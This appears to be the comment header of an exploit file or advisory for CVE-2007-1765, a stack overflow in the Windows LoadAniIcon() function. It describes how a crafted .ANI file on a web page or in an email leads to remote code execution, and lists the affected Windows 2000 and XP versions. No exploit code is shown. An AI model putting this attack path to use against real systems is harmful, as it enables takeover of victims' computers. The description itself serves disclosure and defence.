* Windows .ANI LoadAniIcon Stack Overflow  
* [CVE-2007-1765]  
*  
*  
* Description:  
* A vulnerability has been identified in Microsoft Windows,   
* which could be exploited by remote attackers to take complete   
* control of an affected system. This issue is due to a stack overflow   
* error within the "LoadAniIcon()" [user32.dll] function when rendering   
* cursors, animated cursors or icons with a malformed header, which could   
* be exploited by remote attackers to execute arbitrary commands by   
* tricking a user into visiting a malicious web page or viewing an email   
* message containing a specially crafted ANI file.  
*  
* Hotfix/Patch:  
* None as of this time.  
*  
* Vulnerable systems:  
* Microsoft Windows 2000 Service Pack 4  
* Microsoft Windows XP Service Pack 2  
* Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)  
* Microsoft Windows XP Professional x64 Edition
